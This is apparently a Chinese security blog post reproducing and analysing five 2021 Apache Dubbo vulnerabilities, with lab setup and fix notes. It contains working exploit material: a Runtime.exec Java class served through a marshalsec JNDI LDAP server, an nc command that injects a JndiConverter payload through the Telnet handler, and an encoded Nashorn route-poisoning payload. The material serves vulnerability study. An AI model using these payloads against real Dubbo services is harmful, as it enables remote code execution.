Apache Dubbo漏洞跟进研究
Apache Dubbo相关漏洞跟进
前言
- CVE-2021-25641: Apache Dubbo Hessian2 协议反序列化漏洞
攻击者可利用其他协议绕过Hessian2黑名单造成反序列化。
- CVE-2021-30179:Apache Dubbo Generic filter 远程代码执行漏洞
Apache Dubbo Generic filter存在过滤不严,攻击者可构造恶意请求调用恶意方法从而造成远程代码执行。
- CVE-2021-32824:Apache Dubbo Telnet handler 远程代码执行漏洞
Apache Dubbo Telnet handler在处理相关请求时,允许攻击者调用恶意方法从而造成远程代码执行。
- CVE-2021-30180:Apache Dubbo YAML 反序列化漏洞
Apache Dubbo多处使用了yaml.load,从而造成了Yaml反序列化漏洞。
- CVE-2021-30181:Apache Dubbo Nashorn 脚本远程代码执行漏洞
攻击者可构造恶意请求注入Nashorn脚本,造成远程代码执行。
影响版本
Apache Dubbo < 2.7.10
Apache Dubbo < 2.6.10
组件介绍
Apache Dubbo是一款高性能、轻量级的开源java RPC分布式服务框架。核心功能有面向接口的远程过程调用、集群容错和负载均衡、服务自动注册与发现。其特点主要在以下几个方面。使用分层的架构模式,使得各个层次之间实现最大限度的解耦。将服务抽象为服务提供者与服务消费者两个角色。
漏洞分析
1. Apache Dubbo协议绕过漏洞(CVE-2021-25641)
攻击者可利用其他协议绕过Hessian2黑名单造成反序列化。
poc:https://github.com/Dor-Tumarkin/CVE-2021-25641-Proof-of-Concept
exp:https://github.com/threedr3am/dubbo-exp
#漏洞复现
(1)Zookeeper 安装
wget http://archive.apache.org/dist/zookeeper/zookeeper-3.3.3/zookeeper-3.3.3.tar.gz
tar zxvf zookeeper-3.3.3.tar.gz
cd zookeeper-3.3.3
cp conf/zoo_sample.cfg conf/zoo.cfg
配置:
vi conf/zoo.cfg
# The number of milliseconds of each tick
tickTime=2000
# The number of ticks that the initial
# synchronization phase can take
initLimit=10
# The number of ticks that can pass between
# sending a request and getting an acknowledgement
syncLimit=5
# the directory where the snapshot is stored.
dataDir=/private/var/tmp/zookeeper-3.3.3/data
# the port at which the clients will connect
clientPort=2181
在 data 目录下放置 myid 文件:
mkdir data
vi myid
(2)启动zookeeper:
cd /private/var/tmp/zookeeper-3.3.3/bin
./zkServer.sh start
(3)安装sample示例:
git clone https://github.com/apache/dubbo-samples.git
cd dubbo-samples/dubbo-samples-api
(4)修改示例的pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>dubbomytest</artifactId>
<packaging>pom</packaging>
<version>1.0-SNAPSHOT</version>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>8</source>
<target>8</target>
</configuration>
</plugin>
</plugins>
</build>
<properties>
<source.level>1.8</source.level>
<target.level>1.8</target.level>
<dubbo.version>2.7.6</dubbo.version>
<junit.version>4.12</junit.version>
<docker-maven-plugin.version>0.30.0</docker-maven-plugin.version>
<jib-maven-plugin.version>1.2.0</jib-maven-plugin.version>
<maven-compiler-plugin.version>3.7.0</maven-compiler-plugin.version>
<maven-failsafe-plugin.version>2.21.0</maven-failsafe-plugin.version>
<image.name>${project.artifactId}:${dubbo.version}</image.name>
<java-image.name>openjdk:8</java-image.name>
<dubbo.port>20880</dubbo.port>
<zookeeper.port>2181</zookeeper.port>
<main-class>org.apache.dubbo.samples.provider.Application</main-class>
</properties>
<dependencies>
<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo</artifactId>
<version>2.7.3</version>
</dependency>
<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo-common</artifactId>
<version>2.7.3</version>
</dependency>
<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo-dependencies-zookeeper</artifactId>
<version>2.7.6</version>
<type>pom</type>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>${junit.version}</version>
<scope>test</scope>
</dependency>
</dependencies>
</project>
(5)编译
mvn clean package
接着,确定下zookeeper已经启动,然后启动应用,终端提示dubbo service started
(6)漏洞验证
git clone https://github.com/Dor-Tumarkin/CVE-2021-25641-Proof-of-Concept.git
打开之后,在main函数中,增加mac弹计算器的命令
public static String DUBBO_RCE_COMMAND = "open /System/Applications/Calculator.app"; //Mac
直接运行poc,成功弹出计算器,如下图
(7)漏洞总结
经测试,dobbo版本需小于2.7.3才会触发漏洞
2. Apache Dubbo Generic filter 远程代码执行漏洞(CVE-2021-30179 )
CVE-2021-30179 - Dubbo Pre-auth RCE via Java deserialization in the Generic filter
Apache Dubbo Generic filter存在过滤不严,攻击者可构造恶意请求调用恶意方法从而造成远程代码执行。
分析 From threedr3am
在org.apache.dubbo.rpc.filter.GenericFilter中,如果发现被调用service的方法传入的参数中,第一个参数为字节数组byte[]时,会把这个字节数组数据进行反序列化,其中可选的序列化方式有nativejava、bean、protobuf-json等。
实际在GenericFilter执行之前,也就是RpcInvocation构造的时候
org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode(org.apache.dubbo.remoting.Channel, java.io.InputStream)
也已经可以进行反序列化攻击了
不过这个地方的反序列化,受限于默认hessian或者已配置的序列化类型,具有一定的局限性。
CVE-2021-30179算是反序列化类型攻击面的扩展了,可以把序列化方式从默认的hessian(spring aop那条链jndi攻击受限jdk版本和外连条件)转移到nativejava序列化类型。
3. Apache Dubbo Telnet handler 远程代码执行漏洞(CVE-2021-32824)
Apache Dubbo Telnet handler在处理相关请求时,允许攻击者调用恶意方法从而造成远程代码执行。
分析 from https://securitylab.github.com/advisories/GHSL-2021-034_043-apache-dubbo/
Dubbo的服务端口常常用来访问Telnet处理程序,该处理程序提供一些基本方法来收集有关提供者和服务公开的方法的信息,甚至可以允许关闭服务。
此外,还可以使用调用处理程序调用提供程序方法。
List<Object> list;
try {
list = JSON.parseArray("[" + args + "]", Object.class);
} catch (Throwable t) {
return "Invalid json argument, cause: " + t.getMessage();
}
这里使用了FastJson的安全版本,但是生成的列表稍后使用PojoUtils.realize进行处理
if (!StringUtils.isEmpty(service)) {
buf.append("Use default service ").append(service).append(".");
}
if (selectedProvider == null) {
buf.append("\r\nNo such service ").append(service);
return buf.toString();
}
if (invokeMethod == null) {
buf.append("\r\nNo such method ").append(method).append(" in service ").append(service);
return buf.toString();
}
try {
Object[] array = realize(list.toArray(), invokeMethod.getParameterTypes(),
invokeMethod.getGenericParameterTypes());
long start = System.currentTimeMillis();
AppResponse result = new AppResponse();
try {
Object o = invokeMethod.invoke(selectedProvider.getServiceInstance(), array);
result.setValue(o);
} catch (Throwable t) {
result.setException(t);
}
long end = System.currentTimeMillis();
buf.append("\r\nresult: ");
buf.append(JSON.toJSONString(result.recreate()));
buf.append("\r\nelapsed: ");
buf.append(end - start);
buf.append(" ms.");
} catch (Throwable t) {
return "Failed to invoke method " + invokeMethod.getName() + ", cause: " + StringUtils.toString(t);
}
return buf.toString();
}
PojoUtils可以用来实例化任意类并调用其setter,攻击者可以利用它来实现远程代码执行.
环境:
cd dubbo-samples/dubbo-samples-basic
mvn clean package
启动BasicProvider函数
vim Exploit.java
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c /System/Applications/Calculator.app/Contents/MacOS/Calculator");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
javac Exploit.java
python3 -m http.server 8080
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8080/#Exploit"
echo "invoke org.apache.dubbo.samples.basic.api.DemoService.sayHello({'class':'org.apache.xbean.propertyeditor.JndiConverter','asText': 'ldap://127.0.0.1:1389/Exploit'})" | nc -i 1 127.0.0.1 20880
没有复现成功,猜测是jdk依赖问题.
4. Apache Dubbo YAML 反序列化漏洞(CVE-2021-30180)
CVE-2021-30180 RCE on customers via Condition route poisoning (Unsafe YAML unmarshaling)
Apache Dubbo多处使用了yaml.load,攻击者在控制如ZooKeeper注册中心后可上传恶意配置文件从而造成了Yaml反序列化漏洞。
public class TagRuleParser {
public static TagRouterRule parse(String rawRule) {
Constructor constructor = new Constructor(TagRouterRule.class);
TypeDescription tagDescription = new TypeDescription(TagRouterRule.class);
tagDescription.addPropertyParameters("tags", Tag.class);
constructor.addTypeDescription(tagDescription);
Yaml yaml = new Yaml(constructor);
TagRouterRule rule = yaml.load(rawRule);
rule.setRawRule(rawRule);
if (CollectionUtils.isEmpty(rule.getTags())) {
rule.setValid(false);
}
rule.init();
return rule;
}
}
yaml.load(rawRule) 可以直接打
影响版本:
Dubbo 2.7.0 to 2.7.9
修复方案:
Upgrade to 2.7.10 or the latest 2.7 version.
https://github.com/apache/dubbo/releases/tag/dubbo-2.7.10
https://dubbo.apache.org/en/blog/2020/05/18/past-releases/
5. Apache Dubbo Nashorn 脚本远程代码执行漏洞(CVE-2021-30181 )
RCE on customers via Script route poisoning (Nashorn script injection)
攻击者在控制如ZooKeeper注册中心后可构造恶意请求注入Nashorn脚本,造成远程代码执行。
分析 From threedr3am
当consumer启动时,会根据interface配置(例:com.threedr3am.learn.server.boot.DemoService),启动Zookeeper监听目录节点目录 /dubbo/com.threedr3am.learn.server.boot.DemoService下的三个node目录
- configurators
- providers
- routers
当这些node下的内容变动时,consumer的Zookeeper监听器会watch到,然后通知到org.apache.dubbo.registry.integration.RegistryDirectory#notify方法,更新相关数据。
Zookeeper监听器订阅相关代码位于org.apache.dubbo.registry.zookeeper.ZookeeperRegistry#doSubscribe方法。
理论上我们只需要在routers这个node下新增配置,插入恶意代码,就能触发其执行恶意代码,先从consumers下获取一个模板配置,
consumer%3A%2F%2F127.0.0.1%2Fcom.threedr3am.learn.server.boot.DemoService%3Fapplication%3Ddubbo-consumer%26category%3Dconsumers%26check%3Dfalse%26dubbo%3D2.0.2%26init%3Dfalse%26interface%3Dcom.threedr3am.learn.server.boot.DemoService%26metadata-type%3Dremote%26methods%3Dhello%26pid%3D53953%26qos.enable%3Dfalse%26release%3D2.7.7%26revision%3D1.0%26side%3Dconsumer%26sticky%3Dfalse%26timestamp%3D1622381389749%26version%3D1.0
通过对其解码,得到很清晰的内容
consumer://127.0.0.1/com.threedr3am.learn.server.boot.DemoService?application=dubbo-consumer&category=consumers&check=false&dubbo=2.0.2&init=false&interface=com.threedr3am.learn.server.boot.DemoService&metadata-type=remote&methods=hello&pid=53953&qos.enable=false&release=2.7.7&revision=1.0&side=consumer&sticky=false×tamp=1622381389749&version=1.0
把它修改为
script://127.0.0.1/com.threedr3am.learn.server.boot.DemoService?application=dubbo-consumer&category=routers&check=false&dubbo=2.0.2&init=false&interface=com.threedr3am.learn.server.boot.DemoService&metadata-type=remote&methods=hello&pid=53953&qos.enable=false&release=2.7.7&revision=1.0&side=consumer&sticky=false×tamp=1622381389749&version=1.0&route=script&type=javascript&rule=s%3D%5B3%5D%3Bs%5B0%5D%3D'%2Fbin%2Fbash'%3Bs%5B1%5D%3D'-c'%3Bs%5B2%5D%3D'open%20-a%20calculator'%3Bjava.lang.Runtime.getRuntime().exec(s)%3B
注意事项:
- rule参数下的js代码需要先编码一下再放进去,未编码数据为:
s=[3];s[0]='/bin/bash';s[1]='-c';s[2]='open -a calculator';java.lang.Runtime.getRuntime().exec(s);
- category参数需要改为routers
- protocol需要改为script
最后编码得到
script%3A%2F%2F127.0.0.1%2Fcom.threedr3am.learn.server.boot.DemoService%3Fapplication%3Ddubbo-consumer%26category%3Drouters%26check%3Dfalse%26dubbo%3D2.0.2%26init%3Dfalse%26interface%3Dcom.threedr3am.learn.server.boot.DemoService%26metadata-type%3Dremote%26methods%3Dhello%26pid%3D53953%26qos.enable%3Dfalse%26release%3D2.7.7%26revision%3D1.0%26side%3Dconsumer%26sticky%3Dfalse%26timestamp%3D1622381389749%26version%3D1.0%26route%3Dscript%26type%3Djavascript%26rule%3Ds%253D%255B3%255D%253Bs%255B0%255D%253D'%252Fbin%252Fbash'%253Bs%255B1%255D%253D'-c'%253Bs%255B2%255D%253D'open%2520-a%2520calculator'%253Bjava.lang.Runtime.getRuntime().exec(s)%253B
接下来,把这个配置新增到Zookeeper的/dubbo/com.threedr3am.learn.server.boot.DemoService/routers,就能触发代码执行了。
脚本需要通过本地配置或者配置中心(dubbo的管理员权限)才能篡改,利用条件有点难。
diff:
修复:在nashorn引擎解析并执行的地方做了权限限制。